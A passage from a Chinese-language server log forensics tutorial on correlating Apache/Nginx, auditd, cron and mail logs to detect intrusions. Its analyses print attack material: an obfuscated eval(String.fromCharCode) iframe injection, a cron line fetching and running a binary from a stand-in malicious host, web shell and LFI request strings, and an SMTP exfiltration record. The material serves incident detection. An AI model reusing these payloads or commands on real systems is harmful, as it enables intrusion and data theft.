200 12345 https://example.com/ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 -表面看是正常JS文件请求但?ver4.7.13这个参数可疑——Tinymce最新版是6.x4.7.13早已淘汰。我们下载该JS文件比对发现末尾被追加了eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,97,100,115,46,101,120,97,109,112,108,101,46,99,111,109,47,97,100,46,104,116,109,108,34,32,119,105,100,116,104,61,48,32,104,101,105,103,104,116,61,48,62,60,47,105,102,114,97,109,101,62,39,41,59))解码后正是iframe黑链。攻击者利用旧版JS缓存漏洞将恶意代码注入静态资源让搜索引擎爬虫抓取到黑链而用户访问时因浏览器缓存可能看不到——这种手法在access.log里只体现为一次200状态的JS请求毫无攻击特征。4.2 必须建立的4维关联分析法IP 时间 状态码 User-Agent单看一条日志意义有限必须交叉比对四个维度才能锁定攻击行为。我自建了一个简易关联脚本无需安装额外工具核心逻辑如下# 步骤1提取高频恶意IP404/500错误超10次 awk $9 ~ /^4|5/ {print $1} /var/log/apache2/access.log | sort | uniq -c | sort -nr | awk $110 {print $2} /tmp/bad_ips.txt # 步骤2针对每个恶意IP提取其所有请求含200成功请求 while read ip; do echo IP: $ip /tmp/attack_summary.txt awk -v ip$ip $1ip {print $4,$9,$12,$14} /var/log/apache2/access.log | \ sort -k1,1 | \ awk {print $1,$2,$3,$4} | \ column -t /tmp/attack_summary.txt done /tmp/bad_ips.txt输出示例 IP: 203.0.113.45 [10/Apr/2024:02:15:22 404 GET /wp-content/plugins/wp-super-cache/wp-cache.php?phpinfo() Mozilla/5.0 [10/Apr/2024:02:15:23 200 GET /wp-content/plugins/wp-super-cache/wp-cache.php?eval(base64_decode Mozilla/5.0 [10/Apr/2024:02:15:24 200 GET /wp-content/plugins/wp-super-cache/wp-cache.php?cmdid Mozilla/5.0这里203.0.113.45在1秒内连续发起3个请求先试探phpinfo()404说明插件不存在再用eval(base64_decode执行命令200成功最后用cmdid验证权限200成功。User-Agent都是Mozilla/5.0但真实浏览器绝不会在1秒内发三个不同payload的请求——这是典型扫描器行为。而[10/Apr/2024:02:15:22这个时间戳就是我们回溯其他日志如auth.log的黄金时间锚点。4.3 Nginx日志的特殊陷阱$request_uri与$request字段的区别Nginx日志格式灵活但很多人配置错误导致关键信息丢失。默认log_format combined里用的是$request它记录完整的请求行如GET /index.php?arg1 HTTP/1.1但攻击者常在URL参数里藏payload$request会被截断或编码。而$request_uri只记录URI部分/index.php?arg1更利于分析。我建议在nginx.conf里自定义日志格式log_format security $remote_addr - $remote_user [$time_local] $request_method $request_uri $server_protocol $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for; access_log /var/log/nginx/access.log security;这样$request_uri确保URL参数原样输出避免$request中HTTP版本号干扰。某次客户Nginx日志里$request字段全是GET / HTTP/1.1根本看不出攻击路径改成$request_uri后立刻暴露出/wp-admin/admin-ajax.php?actionrevslider_show_imageimg../wp-config.php这样的LFI漏洞利用。5. /var/log/audit/audit.logLinux审计子系统的“上帝视角”5.1 auditd不是可选项而是生产环境的强制安全基线/var/log/audit/audit.log由auditd守护进程生成它工作在内核层能监控所有系统调用syscall、文件访问、网络连接、用户登录等事件。与auth.log或syslog不同auditd日志一旦开启攻击者几乎无法清除——因为删除日志本身就是一个unlinkat系统调用会被auditd再次记录。这就像给服务器装了带防拆报警的黑匣子。但很多团队没启用auditd理由是“性能开销大”。实测数据在一台16核32G的Web服务器上开启基础审计规则监控execve、openat、connect等20个关键syscallCPU占用增加不到0.3%磁盘IO增长约12MB/小时。这点代价换来的是绝对可信的取证源头。我坚持认为任何处理敏感数据的生产服务器auditd必须开启且规则要覆盖/etc/shadow、/root/、/var/www/等关键路径。5.2 用ausearch精准定位攻击者行为的3个黄金命令auditd日志是二进制结构不能直接cat必须用ausearch和aureport工具。以下是实战中最高效的3个命令查指定时间范围内的所有execve调用执行程序ausearch -m execve -ts yesterday -te now | aureport -f -i | head -20-m execve指定事件类型-ts/-te设时间范围aureport -f -i将UID/GID转为用户名-f过滤出文件路径。输出中name字段就是被调用的程序如name/bin/bash、name/usr/bin/curl、name/tmp/.x。如果看到大量name/tmp/*基本可判定是临时恶意程序。查对敏感文件的读写操作ausearch -f /etc/shadow -m write -m read | aureport -i-f指定文件路径-m write/read限定操作类型。如果/etc/shadow被非root用户读取或/root/.ssh/authorized_keys被写入这就是提权或后门植入的铁证。查指定用户的全部活动含登录、命令执行、文件访问ausearch -ui 1001 -m all | aureport -i | less-ui 1001按UID查询id -u username获取-m all查所有事件类型。这能还原该用户从登录到退出的完整操作链比auth.logsyslog组合更全面。注意auditd默认规则很精简需手动添加关键监控。编辑/etc/audit/rules.d/custom.rules加入-w /etc/passwd -p wa -k identity-w /etc/shadow -p wa -k identity-w /root/.ssh/ -p wa -k ssh-a always,exit -F archb64 -S execve -k exec然后sudo augenrules --load重载规则。-k后的标签用于ausearch -k快速筛选。5.3 一个绕过常规检测的rootkit案例如何用audit.log揪出隐藏进程某金融客户服务器被植入Reptilerootkitps aux、top、netstat -tuln全部看不到恶意进程和端口但ss -tuln却显示0.0.0.0:31337在监听。我们查audit.log执行ausearch -m socketcall -sv no | grep 31337返回typeSOCKETCALL msgaudit(1712345678.123:456789): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456790): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456791): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456792): nargs3 a02 a11 a20typeSOCKETCALL msgaudit(1712345678.123:456793): nargs3 a02 a11 a20socketcall是创建socket的系统调用a02代表AF_INETIPv4a11代表SOCK_STREAMTCP。连续5次调用说明有进程在反复创建TCP socket。我们用ausearch -m socketcall -ts 1712345678.123 -te 1712345678.124 | aureport -i查到对应PID12345再执行sudo ls -l /proc/12345/exe发现指向/usr/bin/python3但ps aux | grep 12345为空。继续查ausearch -p 12345 -m execve发现该PID启动时执行的是/usr/bin/python3 /dev/shm/.py——/dev/shm/是内存文件系统python3从内存加载脚本完美避开磁盘扫描。最终通过audit.log锁定进程、路径和行为用kill -9 12345终止再删除/dev/shm/.py彻底清除。6. /var/log/messages 与 /var/log/maillog被忽视的“服务侧信道”6.1 messages日志里的crond异常比Web日志更早的持久化信号/var/log/messagesRHEL系或/var/log/syslogDebian系是系统服务的综合日志其中crond的记录常被低估。攻击者植入后门的首选方式不是改Web Shell而是写入定时任务——因为crond以root权限运行且重启后自动生效比Web Shell更稳定。而crond每次执行任务都会在messages里留下明确记录。比如Apr 10 03:15:01 web01 CROND[12345]: (root) CMD (/usr/bin/wget -q -O /tmp/.x http://mal.com/x chmod x /tmp/.x /tmp/.x)这条日志比access.log里下载x的记录早3秒因为crond先触发再发起HTTP请求。更重要的是CROND[12345]中的12345是crond子进程PID我们可以用ps aux | grep 12345确认该进程是否仍在运行或用lsof -p 12345看它打开了哪些文件和网络连接。很多管理员只查/etc/crontab和/var/spool/cron/却忘了crond自身日志才是任务执行的唯一真相。6.2 maillog里的SMTP外泄数据偷渡的无声通道/var/log/maillog或/var/log/mail.log记录邮件服务sendmail/postfix/exim的所有活动。攻击者常利用服务器自带的邮件功能外泄数据因为SMTP流量通常被防火墙放行且不像HTTP那样容易被WAF拦截。比如Apr 10 04:22:11 web01 postfix/smtp[12345]: 6A7B8C9D1E: toattackermal.com, relaymail.mal.com[192.168.3.11]:25, delay0.12, delays0.01/0.02/0.05/0.04, dsn2.0.0, statussent (250 OK id123456789)toattackermal.com是明示目标relaymail.mal.com是中继服务器statussent证明邮件已发出。我们曾在一个电商后台服务器上发现每天凌晨2点都有10封邮件发往境外邮箱附件名为orders_20240410.csv.gpg——这是加密后的订单数据。攻击者用gpg加密再通过mutt或mail命令发送整个过程在maillog里清晰可查而access.log里毫无痕迹。6.3 用logwatch做日志健康快筛1分钟发现异常模式手动翻日志效率低我习惯用logwatch做初步筛查。它不是SIEM而是一个轻量级日志分析器能自动汇总messages、secure、maillog等日志的异常模式。安装后执行sudo logwatch --range between -1 days and now --detail High --service sshd --service http --service postfix输出示例--------------------- SSHD Begin ------------------------ **Unsuccessful Login Attempts:** 192.168.3.11 - 17 attempts 203.0.113.45 - 12 attempts **Successful Login Attempts:** root
